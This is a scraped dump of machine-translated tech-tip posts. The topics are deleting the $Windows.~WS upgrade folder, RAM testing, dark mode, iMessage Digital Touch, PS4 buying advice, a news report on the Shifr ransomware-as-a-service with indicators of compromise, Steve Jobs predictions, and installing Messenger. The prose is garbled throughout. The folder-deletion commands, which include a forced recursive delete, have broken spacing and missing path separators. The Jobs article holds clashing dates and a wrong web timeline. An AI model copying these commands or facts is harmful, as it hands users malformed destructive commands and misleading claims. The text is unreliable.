to change the name of the User Profile folder in Windows 10"},{"body":"This guide will show you how to delete the $ Windows. ~ WS folder in the root directory of your Windows 10 drive to free up hard drive space if needed.\n$ WINDOWS. ~ BT and $ WINDOWS. ~ WS are folders related to the Windows 10 upgrade process. These folders may be present on Windows 7, 8, and 10 computers and take up a lot of disk space.\nBy default these are hidden folders, so you will have to take extra steps to show these hidden folders in Windows Explorer (or File Explorer) before you can view the folders.\n  The $ WINDOWS folders. ~ BT and $ WINDOWS. ~ WS is associated with the Windows 10 upgrade process. They can appear on Windows 7, 8 or 10, using gigabyte drive space.\nThese are hidden files, so you'll have to show hidden files in Windows Explorer or File Explorer to view them.\nOn Windows 7 and 8 During the free Windows 10 upgrade, Windows 7 and 8 automatically download the Windows 10 installation files and store them in the $ WINDOWS folder. ~ BT. Once you agree to the free upgrade, it can get started quickly using the downloaded installation files.\nThe free upgrade period is over, so you can't use these files to upgrade to Windows 10 even if you want to.\nMicrosoft will eventually delete these files if they are still present on any Windows 7 or 8 system, but they may still exist for now.\ndelete the folder $ Windows. ~ WS On Windows 10 On Windows 10, the $ WINDOWS folder. ~ BT contains your previous Windows installation. These files are used to downgrade to a previous version of Windows or an earlier Windows 10 build.\nIt is similar to the Windows.old folder, containing the files from your previous Windows installation. In fact, you'll see both folders after upgrading to Windows 10 - both Windows.old and $ WINDOWS. ~ BT folders.\nIt also contains log files. For example, if you download and run a media creation tool, it will create a $ WINDOWS directory. ~ BT with a few setup log files. That media creation tool also creates the $ WINDOWS directory. ~ WS contains most of the Windows setup files.\nWindows will automatically delete these files to free up space after ten days in the Anniversary Update, or thirty days if your PC hasn't been upgraded to the Anniversary Update.\n  Can you delete it, and how? Warning: If you choose to delete the $ WINDOWS folder. ~ BT on Windows 10, you won't be able to downgrade to a Windows 10 build or a previous version of Windows that your PC has installed. The option to roll your PC back at Settings\u0026gt; Update \u0026amp; Security\u0026gt; Recovery is gone. However, Windows 10 will automatically delete these files after ten days .\nIf you want to delete these files, you can. But you should not delete them in the usual way. Instead, you should use the Disk Cleanup tool that comes with whatever version of Windows you are using.\nTo do so, go to Disk Cleanup tool and click on System Cleanup File Wipe. Check for the following items in the list and remove them:\nPrevious Windows installation (s): This will delete the $ WINDOWS folder. ~ BT and Windows.old on Windows 10. Temporary Windows Installation Files: This will delete the $ WINDOWS folder. ~ BT on Windows 7 and 8 and the $ WINDOWS directory. ~ WS on Windows 10. Click OK to delete the files.\n  If the directory $ WINDOWS. ~ BT is still present then it's likely it only contains a few backup log files - or for now - useless setup files on Windows 7 or 8 - and you can try manually deleting from File Explorer. Just right click on it and choose delete.\n  Note:\nYou must be logged in as an admin to delete the $ Windows. ~ WS directory. If you delete the Windows.old, $ Windows. ~ BT and / or $ Windows. ~ WS folders, you will no longer be able to revert to an earlier version of Windows. If you delete the $ Windows. ~ WS folder, you should also delete the Windows.old and $ Windows. ~ BT folders to free up more hard drive space. How to delete the $ Windows. ~ WS folder in Windows 10 using Command Prompt Here's how to do it:\nStep 1. Open Command Prompt with admin rights.\nStep 2. Copy and paste the commands below into the Command Prompt that you just opened and press Enter after each command.\ntakeown / F \"C: $ Windows. ~ WS *\" / A / R / DY icacls \"C: $ Windows. ~ WS *. *\" / grant * S-1-5-32-544: F / T / C / Q RD / S / Q \"C: $ Windows. ~ WS\" Step 3. When done, you can close the Command Prompt if you want.\n  As you can see, the way to delete the $ Windows. ~ WS folder in Windows 10 is very simple, right?\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYytn55lp567pbvWrGS3Zaeoeqe7y52cq2WZo3q4tc2dprCrXWZ9\n","link":"/post/how-to-delete-the-windows-ws-folder-in-windows-10/","section":"post","tags":null,"title":"How to delete the $ Windows. ~ WS folder in Windows 10"},{"body":"If you already use a computer, you probably know that RAM is an extremely important component of a computer. A computer works well when the RAM is always in a stable state, but after a long time of using, it is likely that the RAM will have an error that affects the performance of the computer or even You cannot start your computer. Therefore, it is necessary to monitor the health status of RAM regularly. In the following article of TipsMake.com will guide you some ways to check, test RAM for errors or not, please follow along.\n  1. Use the Windows Memory Diagnostic feature Windows Memory Diagnostic is a feature built into Windows that helps us check for RAM errors. To open this feature we have 2 ways:\nMethod 1 : You press Windows key + R to open the Run dialog box, then enter the command mdsched.exe and press Enter\n  Method 2 : Open the Control Panel and select the Administrative Tool section\n  Next in the new window select the item Windows Memory Diagnostic\n  After opening Windows Memory Diagnostic in one of the two ways, a window appears, click\u0026nbsp; Restart now and check for problems (recommended) to restart the computer and start the RAM test process. Note that before clicking this option, you should turn off all running applications.\n  When restarting the computer will automatically enter the Test RAM screen, wait for a while for the test to complete. The computer will reboot again and go straight to windows.\n  After booting into Windows you can see the results by opening Event Viewer, how to open it, do the same way above 2.\n  In the Event View window, select Windows logs -\u0026gt; System, then in the event list you find the event named Source as MemoryDiagnostics-Results and double click on it to open.\n  In the results section you see no errors ie your Ram has no errors.\n  2. Use the MemTest86 software to check the RAM This method applies in case you cannot access Windows, the MemTest86 software does not run in the Windows environment, but you must create a USB boot to bring MemTest86 to USB to use.\nDownload link you can download from the homepage of Memtest86 on:\nhttps://www.memtest86.com/download.htm\nThis software has 2 versions that are paid and free but you just need to download the free version is enough.\nAfter downloading, we unzip and start creating a USB boot MemTest86.\nYou need to prepare a large capacity USB, but make sure that the USB does not have any important data because we will have to Format that USB.\nPlug that USB drive into the computer and run the imageUSB.exe file we extracted in the previous step.\n  The window to create the USB boot appears, you take turns from Step 1 to Step 4.\nStep 1 you choose USB connected to the computer.\nStep 2 you choose the mode of writing the image file to USB\nStep 3 choose memtest86-usb.img file, this file is in the same file you extracted, usually the software will choose for you.\nStep 4 Click Write to start creating USB boot, if a message appears, click Yes.\nWait a few minutes for the USB creation process to complete.\n  After creating the USB boot, plug the USB boot into the computer that needs to check RAM, boot the computer that boot into the USB that you connected.\nOnce the computer has booted into USB boot you will see the interface as shown below, enter the number 1 and press Enter to enter the Test Ram interface.\n  And here is the RAM test interface, the software will automatically run and scan for RAM errors. You need to wait for the software to run out of 7 passes to be able to check the exact error. If there is an error, it will appear in the Errors section. The error checking time can take quite a long time, it can take several hours depending on the amount of RAM, so please be patient.\n  Above is a tutorial on how to check for RAM errors, hopefully through this article you will know the RAM status of your computer is still good or not to avoid the error. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyVqMFuvsCmZJ6qoqS%2FtHnRmqRmrJWowW6%2Fzp%2BrsJmimg%3D%3D\n","link":"/post/how-to-test-ram-errors-ram-test-software/","section":"post","tags":null,"title":"How to test RAM errors, RAM test software"},{"body":"In the Windows 10 Insider Preview Build 17666 release today, Microsoft has updated the Dark Theme for File Explorer. This news has been released before but it is not until today that users know what it really is. Here's how to turn on Dark Theme for File Explorer if you've updated to the latest version of Windows 10.\nWhen there is no official announcement about the File Explorer Dark Theme on Windows 10, we were hoping and looking forward to a dark File Explorer similar to the following:\n  This is what we think of the File Explorer Dark Theme\nIn the build released today, Dark Theme looks much better than we think. If you still look forward to the Dark Theme, perhaps what Microsoft does is not disappointing at all.\n  This is the real Dark Theme appearance of File Explorer (click on the image to see the full size)\nHow to turn on the Dark Theme of File Explorer in Windows 10 First, make sure you have updated to the latest OS, then go to Settings \u0026gt; Personalization \u0026gt; Colors.\nUnder this section there will be Choose your default app mode with 2 options, Light and Dark. To turn on the Dark Theme, simply select Dark as shown in the screen below.\n  The setting section selects the color mode\nWhen Dark is selected , Windows will turn on Dark Theme for all applications, supported interfaces, including File Explorer.\nSee more:\nMicrosoft will release the Dark Theme on File Explorer Activate Dark Theme on Windows 10 5 Dark Themes for Windows 10 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu81mm5qqm2LBqbHMnmSfp6Jis6q4xGacsaicpL%2BmvoyopWavmaOxsMPSZmhp\n","link":"/post/how-to-turn-on-dark-theme-for-file-explorer-on-windows-10/","section":"post","tags":null,"title":"How to turn on Dark Theme for File Explorer on Windows 10"},{"body":"Digital Touch is a feature that allows users to freely draw or send animations to friends. From iOS 10 and above, your iPhone and iPad will have all these contact features.\nHow to send hand-drawn images in iMessage? The sketch on the iPhone and iPad works similarly to the Apple Watch.\nOpen the messaging application from the main screen. Touch the Store button like the letter A. It is between the camera button and the text box. Click on the Digital Touch button. It has a heart shape with a hand inside.   Touch the circle on the left to select another color. Touch and hold any color to customize. Draw your image in the middle area.   When completing the sketch, simply click on the submit button (the arrow shows up).\nHow to send heart rate images on iMessage? Although the iPhone and iPad do not have the heart rate sensor like Apple Watch, you can still use them to send Heartbeat.\nOpen Digital Touch . Use 2 fingers to touch and hold on the sketch area.   You can keep for a short time or longer. When you release your hand, your heart rate will be sent.\nHow to send Taps on iMessage? Taps on Apple Watch allow you to communicate subtly with someone. What you send will be transmitted to the recipient right on their wrist. iOS has no such exposure, so Taps has a different meaning.\nOpen Digital Touch . Click on the area in the middle.   You can press as little or as much as you want and you can also choose the template according to your needs.\nHow to add Digital Touch to images and videos in iMessage With iPhone and iPad, you can draw sketches, add Heartbeat or Tap on images and videos sent in iMessage .\nOpen Digital Touch . Touch the Camera button on the left.   Touch the Convert camera button at the bottom right to switch between the front and rear cameras. Touch the Capture white camera button at the bottom left to take a still image or the Red video record button to start recording videos up to 10 seconds. Using your finger to sketch, touch and hold two fingers to add a heartbeat or touch with one finger to add a tap.   When satisfied with the image / video, press the send button at the bottom right.\nSee more:\nInstructions on how to share notes on iPhone Instructions on how to hide messages on iOS 10 How to use the Live Message feature on iPhone ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmm6KfmamurXnTqKycoF2bsqLA1KucZqGeYrausdKsmKCd\n","link":"/post/how-to-use-the-digital-touch-feature-in-imessage/","section":"post","tags":null,"title":"How to use the Digital Touch feature in iMessage"},{"body":"Many retailers have discounted their products to increase sales. The items on the discount list include consoles and some retailers that are offering discounts on PS4.\nHowever, there is a small problem! PS5 is also nearing its release date. This product is expected to launch on the occasion of the 2020 holiday. So, if you buy the PS4 now, it will only be about a year before it is replaced by PS5.\nSo if you have an attractive price, should you buy a PS4 or save money to buy PS5? The following article will help you answer this question.\nDo PS4 games work on PS5? One factor that influences the decision to buy a PS4 is PS5 compatibility with PS4 games. You won't want to buy a library of PS4 games, then realize that PS5 doesn't accept them.\nLuckily, Sony fully intends to keep PS4 compatibility with PS5. Not only that, PS5 players can also play with PS4 owners online. This means you can happily build your PS4 collection, then transfer it all to PS5 when this product is released.\nWill PS4 peripherals work on PS5?   From the looks of everything, the PS5 will use the same gaming controller but not the same as a controller for PS4. Therefore, it is difficult to know whether you can carry your old handle to the new system. However, Sony has confirmed that the PS4 VR headset will work on the PS5, so feel free to explore the digital world with your PS4 in the meantime!\nIs PS5 stronger than PS4? Sure! The hardware specifications for PS5 have been mocked, and it will still be a lot stronger than the PS4. Unlike the case of PS4 Pro and Slim, PS5 games will not work on PS4 systems. So, if something for PS5 appears to interest you, you will be forced to upgrade.\nIs it worth buying a PS4 at this time? As you can see, there aren't too many downsides to buying a PS4 right now, especially if it is on sale. Sure, the console will become obsolete after a year, but games will continue to be ported to PS5, so you can still buy the PS4 eventually.\n  Which PS4 to choose depends on your budget and budget. For example, PS4 Pro has the best performance. However, if performance is your main concern, you may want to wait for PS5 and play PS4 games on its superior hardware.\nConversely, if you want to save money, PS4 Slim will be the cheapest option and will not make you out of pocket. PS4 Slim is not as powerful as Pro, but if you plan to buy PS5, it will be a good decision, if you do not invest too much in a one-year product.\nIn short, the PS4 will only exist for another year before becoming obsolete. If you can buy the PS4 at a discounted price, fortunately, you can still bring your entire library to PS5.\nWill you buy a PS4 this holiday season? Let everyone know in the comments below!\nWish you find a product like that with an attractive price!\nncG1vNJzZmismaXArq3KnmWcp51ktrR5z6xrZquknrmtedaoqa2gXZfCurXNoA%3D%3D\n","link":"/post/is-ps4-still-worth-buying/","section":"post","tags":null,"title":"Is PS4 still worth buying?"},{"body":"RaaS, short for Ransomware-as-a-Service (ransomware as a service) is a tool designed for anyone to use ransomware, almost without programming knowledge. . Compared to other detected Raas, this new tool requires very low skill.\nRansomware is created via a service written in Go. It is called Shifr due to the extension that adds encrypted files, but network security researcher G Data Karsten Hahn said that the initial analysis of the tool shows that Shifr might be relevant. to Trojan.Encoder.6491, the first ransomware was written in Go and was studied by Dr. security researchers. Web discovered last year.\nShifr is a RaaS on Dark Web To get this ransomware, you only need to visit the Dark Web site and a Bitcoin address. Customers only need to enter this Bitcoin address and the ransom they want Shifr to claim from the victim. After that, all you need to do is fill out the CAPTCHA and click the OK button.\n  Fill in the CAPTCHA and very simple steps to create ransomware\nWhile other RAs will need you to pay a fee or verify customers to ensure only those with little skills (and not network security researchers) can use ransomware models, the service will provide Product level 'fully armed' in just a few easy steps.\n  Fill in some simple information to extort money with ransomware\nBecause of this simplicity and ease, VirusTotal has scanned a lot of Shifr in the past days, causing many antivirus software companies to pay attention and many of them now have the ability to detect this threat.\nShifr will only receive a 10% share Besides being blatant, without stealth, this ransomware service is different from other RaSs in that it requires a very low share, making up for ransomware that lacks many features.\nWhile Cerber RaaS service requires a 60% split, Shifr only needs 10%, obviously towards two groups of people: greedy people and very greedy people. With a 10% split, perhaps Shift will come with RAT or will steal information, money or tools from amateur ransomware spreaders. However, ransomware turned out to be nothing special. Shifr can also be a scam tool.\nThe victim after paying for the ransomware provider, will retain his share and pay the rest to the dispenser (owner of the Bitcoin address). Therefore, the provider can keep the money earned without paying the person who distributed the ransomware. Aiming at the greed of many people, Shifr can steal the ransom and not pay the dispenser.\nShifr is still in development The simplicity of the ransomware provided by Shifr can be found in a very simple note that the victim receives, including only two lines with a link to the page to pay. In the test, the link did not even work and had to find the actual payment address based on other information.\n  Notify victims of encrypted files\nThe payment page is where the victim finds the Bitcoin address they will have to deposit with the link to decrypt their encrypted data. The original URL of this payment page is also the home page of RaaS, which means that the bad guys do not have enough equipment to separate their payments and RaaS into many different servers.\n  Payment instructions for decoding data\n  Enter the key paragraph after paying to unlock the file\nRaaS appears more and more simple Shifr is currently one of the simplest RaaS discovered in the past few years. The tendency to use RaSS seems to be moving from closed groups, secret forums to open websites for anyone to access. In a report published today, experts from Kaspersky Labs also noticed an increase in RaaS. The Kaspersky report also showed that the number of ransomwrae victims increased by 11.4% from 4/2016 to 3/2017, compared to the same period last year.\nIOCs indicators SHA256 hash\n3c7d5bb131b98340ebe18f5d7f8ba289e8b91e017bf9d9ff8270e87a996d334d\nName of ransomware file\nHOW_TO_DECRYPT_FILES.html\nRansomwrae's note notes\nBạn tập tin đã được xác định.\nTo decrypt your files, follow instructions here.\nNetwork requirements\nhttp:/// [REDACTED] .onion / decrypt / f2f6d2aa-06e0-43f9-9ebd-853af768e29e\nhttps: // [REDACTED] .onion.to / new_c /\nThe extension is encrypted\n.shifr\n  Image file is encrypted with the .shifr extension\nThe file extensions are targeted\n* .accdb, *. arw, *. bay, *. cdr * .cr2, *. crw, *. csv, *. dcr, *. dng, *. doc, *. docx, *. dwg, *. dxf , *. erf, *. jpeg, *. jpg, *. kdc, *. mef, *. mrw, *. nef, *. nrw, *. orf, *. pdf, *. pef, *.\nncG1vNJzZmismaXArq3KnmWcp51ku6bDjK2mqKRdqLWqstFmqZqZo2KurbjOsKpmmZ6uvK%2BxjK2mZpuimq61sYyrmKern6LEor7EZpyaq5mhxg%3D%3D\n","link":"/post/new-tool-shifr-raas-allows-anyone-to-create-ransomware-easily/","section":"post","tags":null,"title":"New tool Shifr RaaS allows anyone to create ransomware easily"},{"body":"It has been 8 years since Steve Jobs - a legend of the technology world - broke up with humanity, but his name is constantly mentioned, honored at every conference, or even the competition. controversy about the future of the technology world. Simply by Steve Jobs, with an extremely deep and passionate understanding, and a burning survey of the mission to change people's lives, has given deep predictions about the future of the public domain. technology, and the fact has proven that most of the views that Apple co-founders are completely accurate, or even valuable, guide the long-term future of the technology world.\nSince 1976, that is when Steve Jobs became Apple's co-founder, he was considered a \"leader\" in the revolution of micro-computing, with a vision to expand into the mobile sector. and user service. The achievements of smartphones, tablets, music sharing services, applications and everything else have been contributing positively to the mobile user experience that we have witnessed today. has Steve Jobs's mark with his vision.\n  Steve Jobs and the simple secret of making speeches come into people's hearts By creating revolutionary pioneering technology products, Steve Jobs gradually transformed himself into a true prophet. After all, like one of his favorite sayings: \"The best way to predict the future is to invent it,\" the future for Steve Jobs is the creation that originates today.\nHowever, Steve Jobs is just a normal man, he still has the same misconceptions as others. So what are the famous 'thunder' words that Steve Jobs left for posterity? How did they happen? What is right and wrong? We will find out later.\nSteve Jobs and the fulfilled prophecies 'We will use computers to entertain every day at home, right in our private space.'    In 1985, in an interview with Playboy, Steve Jobs once said that the use of personal computers in the future will spread to every street, house, and not merely a working tool at stuffy offices anymore. At that time, computers were mostly used primarily by companies, schools, and public agencies. Only a few large business executives accept to install computers to be able to work at home when necessary.\nAccording to statistics from the US Census Bureau, even in the United States - the world leader in developing and applying technology to everyday life - only about 8% of households own computer at home. While by 2015, this number has increased to 79%.\nAnd just as Steve Jobs predicted, computers are now an indispensable daily entertainment source for millions of people, whether watching movies and TV, playing games or texting, chatting with friends. At the same time, these versatile machines become even more compact, powerful and become an essential part of modern life.\n\"We will all be connected through computers.\"    This is why Steve Jobs once claimed to destroy Android until his last breath Also in that interview, the Apple boss gave the most convincing explanation to the question of why in the future, people would have to have a computer page right in their living space, that is \"to connect with an extremely large media cyberspace on a national, even multinational scale. \"\nSo far it can be seen that Jobs's comment is completely accurate. Not only in an organization, community or country, the level of connectivity here has been pushed to new heights, on a global scale. Less than four years after the \"prophecy\" of the Apple co-founder, Tim Berners-Lee successfully developed the World Wide Web and only one year later, in 1989, the first website was also posted online. The route, signaling the era of internet globalization has really started, and peaked as we witnessed today.\n'All essential functions on the computer, such as cutting and pasting documents . will be done quickly with a device called a computer mouse.'    Working as an engineer for 15 years at Apple, but when it comes to demoing Steve Jobs products like this Before Steve Jobs released his Lisa computer in 1983, most personal computers at the time required users to tap hard on the keyboard, as well as use many other key operations. each other to perform basic document processing tasks, very time consuming. When Jobs introduced his computer mouse, he surprised the world by performing all of the above commands through the mouse in an intuitive, simple, and extremely fast way. At the same time, Jobs believed that using the mouse was easy, even for those with little computer training, and his belief was completely accurate.\n35 years later, computer mice still play a role, important in this work of many people, but are gradually being replaced by new advances in touch screen technology, by Apple itself and many other technology companies developed and popularized, accompanied by the explosion of mobile devices. In the near future, it is very likely that Apple's popularity of touch screen technology via iPhone and iPad will one day put an end to the computer mouse.\n\"The dial signal used to access the web will appear everywhere\"   \nThis is the first phone announced by Apple and it is not iPhone In a widely-known interview between Steve Jobs and the 1996 Wired technology magazine, Apple boss made a prediction that the web platform will be accepted and used by many people around the world.\nCurrently, the world has gone through a period of relying on dial-up internet access, but Steve Jobs once again shows its breath-taking vision when it comes to the popularity of the web. By April 2019, it is estimated that as many as 4.4 billion people worldwide use the Internet regularly, equivalent to about 56% of the global population.\n'You may no longer have to manage your personal repository yourself.'   \nLong before we all started storing photos, videos and data in the current Apple, Google, or Amazon cloud services, Steve Jobs once emphasized the need to provide Users use a variety of new personal storage distribution methods.\nAlso in the framework of an interview with Wired magazine in 1996, Jobs said: 'Storage management is an extremely important job while using computers in general. We take a lot of time every day for this work, and that may disappear in the future. In the next few years, you won't have to spend too much time managing your memory and archives, service providers will help you. '\nSteve Jobs also added that he almost does not store anything on his device. In return, the CEO will use email and the web, and therefore, he will not have to spend too much time managing hosting. Even the favorite way of reminding you of your favorite job is to email yourself.\nApple's strategy of \"turning a great computer into a compact device like a book\"   \nRare photos of the first days of Apple You may not know but at the time of the 80s of the last century, computers were literally bulky machines. They are large, heavy and extremely occupying an area, so they are mostly used in laboratories or factories and offices. But in a speech at the International Design Conference held in 1983, Steve Jobs showed his strategic vision of a computer with high mobility, even to the point of being able to carry follow me. Specifically, Jobs talked about a computer the size of a book that 'you can take with you and read for 5 minutes' - which almost appears only in fantasy stories at the time. .\nIn an interview with Newsweek a few weeks later, he added: \"I always thought it would be great if everyone could own a small box, the size of a book or a student board. You can take with you and work wherever you are. \"\nGoing back to the reality of 2019, perhaps we don't need to say anything more about this prophecy. What Jobs described 35 years ago is very much like the iPad, Kindle tablet, or smartphone that is in your pocket.\nMachines will be able to estimate people's thoughts and desires   \nSteve Jobs defines object-oriented programming to make the world admire According to Steve Jobs, there will be 'little people living inside the box that can predict what you want.' That's the Apple co-founder's statement in an interview with Newsweek magazine in 1983. Specifically rather, the CEO described in the future, computers will be 'assistants', able to learn our interests, then analyze, store information, and use that information to interacting with us as well as learning how to anticipate all the needs of the employer - what Jobs calls \"a little friend living in a box\".\nNearly 30 years later, Alexa, Siri or Google Assistant have appeared and become indispensable virtual assistants in many people's daily lives, just like what Steve Jobs predicted. And the romance between Joaquin Phoenix and a virtual assistant AI in the movie \"Her\" probably won't be a fantasy anymore.\n'Instead of going to the store, people will sit home surfing and shopping'   \n13 famous inspirational lessons about life from Steve Jobs In a speech before the Organization of Computer Information Technology Awards in 1995, Steve Jobs once argued that the global web platform will have a profound impact on every aspect of human life, and humanity. will feel the most significant change occurring in the trade-consumer sector. According to the legendary CEO, the internet will allow small startups to minimize the cost of maintaining the system and distributing products, and can compete directly with larger corporations by delivery. translate directly with consumers without going through any costly intermediaries (product stores, agents).\nAs a result, as we have seen, it can be said that the 21st century is the era of e-commerce. Today, there are millions of companies trading on the internet, from small suppliers to e-commerce giants like Amazon, Alibaba or eBay. At the same time, this convenient form of trade also receives the response of billions of people worldwide.\nBefore the e-commerce sector flourished today, Jobs had issued a warning to conservative businesses, \"not daring\" to change to join the online business: 'People won't. go to the stores but instead, they will buy things on the web. Big companies that don't pay attention to this change will be left behind and lose their market. '\nJobs's prediction was fulfilled in America. While Walmart's largest retail chain stores are still closing in, leading e-commerce businesses such as Amazon, eBay, BestBuy have gradually become tycoons in the shopping world. , collecting billions of dollars in sales over the Internet, and still expanding the scale every day.\n'Future sources of information will become so abundant that it will exceed the capacity of human reception.'   \niPhone will never exist if Steve Jobs doesn't hate a director at Microsoft In 1996, when mankind was still eager for the first email delivery and receipt tests to appear, it seemed that few could imagine that we would soon enter the era when the amount of information was generated. will even exceed human ability to receive. Steve saw this fact and talked about it in an interview with Wired magazine in 1996, mentioning that information overload can make the lives of many people turn upside down.\nAccording to a large-scale survey conducted by Deloitte, at present, every American opens a phone to check information sent more than 52 times a day. This can be SMS, email, or news alerts from instant messaging, social networking applications.\nThe impact of technology on people will be increasingly rejuvenated according to the general development in this area   \nFormer employee compared Steve Jobs to Tim Cook, showing why Apple became boring This is probably one of Steve Jobs's most astonishing predictions, involving young people's access to the emerging technology market - an area that is traditionally reserved only for adults. city.\nIn an interview with Newsweek's Access, he explained that in the future, it is very likely that children will be exposed and use technology right from the age of 10 and this will somehow negatively affect Physical development as well as perfecting personality for children, especially when they are too fond of technological devices that ignore learning and entertainment by rewarding physical activities.\nAnd Steve Jobs's judgment is absolutely correct, a study by Influence Central reported that at present, the average age that a US child owns their first phone is 10.3 years old. Meanwhile, the harmful effects of young children who are too passionate about technology are things that we still listen to everyday on the mass media.\nSteve Jobs and the predictions of 'banana peeling' \"There will be many innovations in the software field, not hardware.\"   \nRead the \"11 rules of success\" of a former Apple employee who learned the first day of work! As mentioned, Steve Jobs is also human and therefore, despite owning a mindset beyond the age, he does not always make 100% accurate predictions.\nIn an interview with Playboy in 1983, Jobs said that new software was the area that received the most innovation, not hardware. Meanwhile, Apple's biggest rival in PC manufacturing is IBM. Jobs said: \"Most new, creative companies are focusing heavily on software innovation. I think there will be many innovations going on in the software sector, not hardware.\"\nBut in fact, it is the new software that is less competitive than hardware. For decades, Microsoft has always been a leader in desktop software, leading to a 'choking' grip on lesser-known businesses in this area, to the extent that the US government must investigate an investigation of monopoly behavior and unfair competition with Microsoft.\nToday, the battle on the piece of software called 'easier', but generally still dominated by 3 big names: Microsoft, Apple and Google. While the hardware war is much more dramatic, with big names like Samsung, Dell, HP, Acer, Lenovo, Huawei, Asus, and many other manufacturers. This is one of Steve Jobs's false predictions.\n'Is the birth of the web an event that will change the lives of millions of people? Is not!'   \nThe way that Steve Jobs created 'unlimited warriors' who do bosses must know This is a rather contradictory prediction of Apple founder. After all the achievements Jobs has achieved, it seems that he underestimated the overall impact of the web on human life. Or, it could be that the CEO is just being humble when he interviews with Wired in 1996.\n\"The web will be very important. But is this the event that changes the lives of millions of people? I'm afraid not, perhaps. I am not sure about that but perhaps in the near future, a The comprehensive change that the web creates for human life will hardly happen. '\nAnd the result is as we know it. The web has crept into every breath, the aspect of global life. How many of us do not have access to the internet every day to serve our commercial needs, social interaction, entertainment, knowledge and news? Probably not much. And Steve Jobs was once again wrong.\nThese are prophecies that have become the truth of Steve Jobs' false predictions about every aspect of the technology world. Thereby, we can better understand the profound thinking as well as the vision beyond his era - one of the genius technology engineers, who have invaluable contributions to the development of full science and technology. demand, as well as contribute to bringing mankind a better life!\nncG1vNJzZmismaXArq3KnmWcp51kwLWx1Z5ko6eSqHqiusNmnKKfmKl6uLvRnapmp5ZiwanBzZ2cq2WYlsOmecKopJ5lpKfCpnnIp2StoJViwaavx6empaeXrnq4u9Glmw%3D%3D\n","link":"/post/steve-jobs-and-eight-words-of-thunder-have-come-true-in-the-technology-world/","section":"post","tags":null,"title":"Steve Jobs and eight words of 'thunder' have come true in the technology world"},{"body":" Open the App Store on your iOS device. You can install Messenger for free on the App Store.\nYou can access the Messenger app page on the App Store by opening the Messages section of the Facebook app and then tapping \"Install\".\n Tap the \"Search\" tab at the bottom of the screen. This is to open the application search field.\n Search for \"Messenger. \" A list of apps that match your search will appear.\n Tap \"GET\" next to the \"Messenger\" app. Make sure this is an app developed by \"Facebook, Inc.\"\n Tap \"INSTALL\" to install the app. The application will be downloaded to the device immediately.\nDepending on the settings, you may be asked to enter your Apple ID and password before downloading the app.\nYou need a wireless connection to download apps from the App Store.\n Start Facebook Messenger after downloading. You can find the app on your Home screen, or tap the \"OPEN\" button next to the app on the App Store page once it's downloaded.\n Sign in to Facebook Messenger. When you start Messenger, you are asked to sign in. If you have Facebook installed on your iOS device, you can quickly log in with the same Facebook account.\nIf you want to log in with another Facebook account, click \"Switch Account\" and log in with the account you want to use.\n Sign in to Facebook Messenger without a Facebook account (for some regions). You don't need a Facebook account to use Facebook Messenger if you live in the US, Canada or Venezuela. You do not need to set up a Facebook account, the application allows you to chat with your friends using Facebook messenger in your contacts.\nClick \"Not on Facebook?\" (Not on Facebook) on the Messenger login screen.\nEnter your phone number.\nEnter the code sent to your phone via SMS.\nEnter the name you want to display on Messenger and load the profile picture.\n Decide whether to turn on notifications. Messenger asks you to turn on app notifications. You cannot receive notifications without selecting \"OK.\"\nYou will receive a notification when there is an incoming message or call. Messenger works similar to the messaging app on your phone.\nIf you don't turn on notifications, you won't receive notifications when someone calls or video calls unless you're using the Messenger app. Remember to turn on notifications if you want to use calling and video calling on Messenger, otherwise you will miss a lot of calls.\n Enter your phone number. Messenger asks you to enter your phone number so your friends can easily find you. If the phone number is linked to a Facebook account, it will be listed. Enter the phone number or not is up to you.\n Decide if you want to sync your contacts. Messenger will scan your phone book and find people using Messenger. If you don't want to, select \"OK\" \u0026gt; \"Don't Allow\".\nIf activated, Messenger will continue to monitor your device's contacts and update new accounts using Messenger regularly. So you can add friends to Messenger easily, all operations happen automatically when you save that person's phone number in your contacts.\n Start using Messenger. Once logged in, you will see all your Facebook messages. You can chat, call and video call. You can refer to online tutorials to learn how to use Messenger.\n Open the Google Play Store. You can download Facebook Messenger for free from the Google Play Store.\nYou can access the Messenger page directly by opening the messaging section on the Facebook app.\n Search for \"Messenger. \" A list of results corresponding to Messenger will appear.\n Select \"Messenger\" in the list. Choose the Messenger app developed by \"Facebook\", which is usually at the top of the list.\n Click \"Install. \" Refer to the licensing section and click \"Accept\" if you want to install.\nOn Android 6.0 and later, you are asked to approve the permission when starting the app instead of when downloading the app.\nEnter your Google account password (if required). Depending on your security settings, you may be asked to enter a password when downloading the app.\n Wait for the application to be downloaded to your device. This process may take several minutes. Depending on Play Store settings, you may need to be connected to Wi-Fi to download apps.\n Start the Messenger app. You can find the app on the Home screen or the App Drawer. You can press the \"Open\" button on the Messenger app page.\n Sign in with your Facebook account. If the Facebook app is already installed on your Android device, you'll be asked to continue using that account on Messenger. You can sign in to another account by clicking \"Switch Accounts.\"\n Sign in without a Facebook account (for some regions). You don't need a Facebook account to use Facebook Messenger if you live in the US, Canada, Peru or Venezuela. Note that you can only chat with people in your contacts using Messenger, can't connect with you on Facebook.\nClick \"Not on Facebook?\" on the login screen.\nEnter a phone number if required.\nEnter the code sent to your phone via text message.\nEnter the name to display when chatting.\n Add phone number (optional). You are required to enter a phone number so that your friends can easily find you. If the phone number is already connected to Facebook, the number will be displayed. You can skip this step by clicking \"Not Now\".\n Decide whether to load the phone book (optional). Facebook Messenger will ask to access your contacts to check if these contacts are using Messenger. You can skip this step by clicking \"Not Now.\"\nDownloading contacts allows Messenger to continuously update and automatically add contacts with Messenger accounts. When adding a new contact to your contacts, Messenger checks to see if the number is associated with a Messenger account. If so, the account will be added to your Messenger friends list.\n Start using Facebook Messenger. Once signed in, you'll see the entire Facebook conversation. You can use the app to chat with your Facebook friends. Refer to the online tutorial for more details.\n Open Windows Store. You can download Facebook Messenger for free on the Windows Store.\n Search for the keyword \"Facebook Messenger. \" A list of related apps will appear.\n Click \"Messenger\" in the list of results. Make sure the app is developed by \"Facebook Inc.\"\n Click \"Install\" to download Messenger. The application will be downloaded to the device.\n Login to Facebook Messenger. If you are already logged into Facebook installed on your Windows phone, you can quickly log in with the same account. If using another account, click \"Switch Accounts\" and log in.\n Add a phone number (Optional). The Messenger app will ask you to enter your phone number so your friends can easily find you. You can skip this step.\n Decide whether to allow Messenger to scan your phone book. 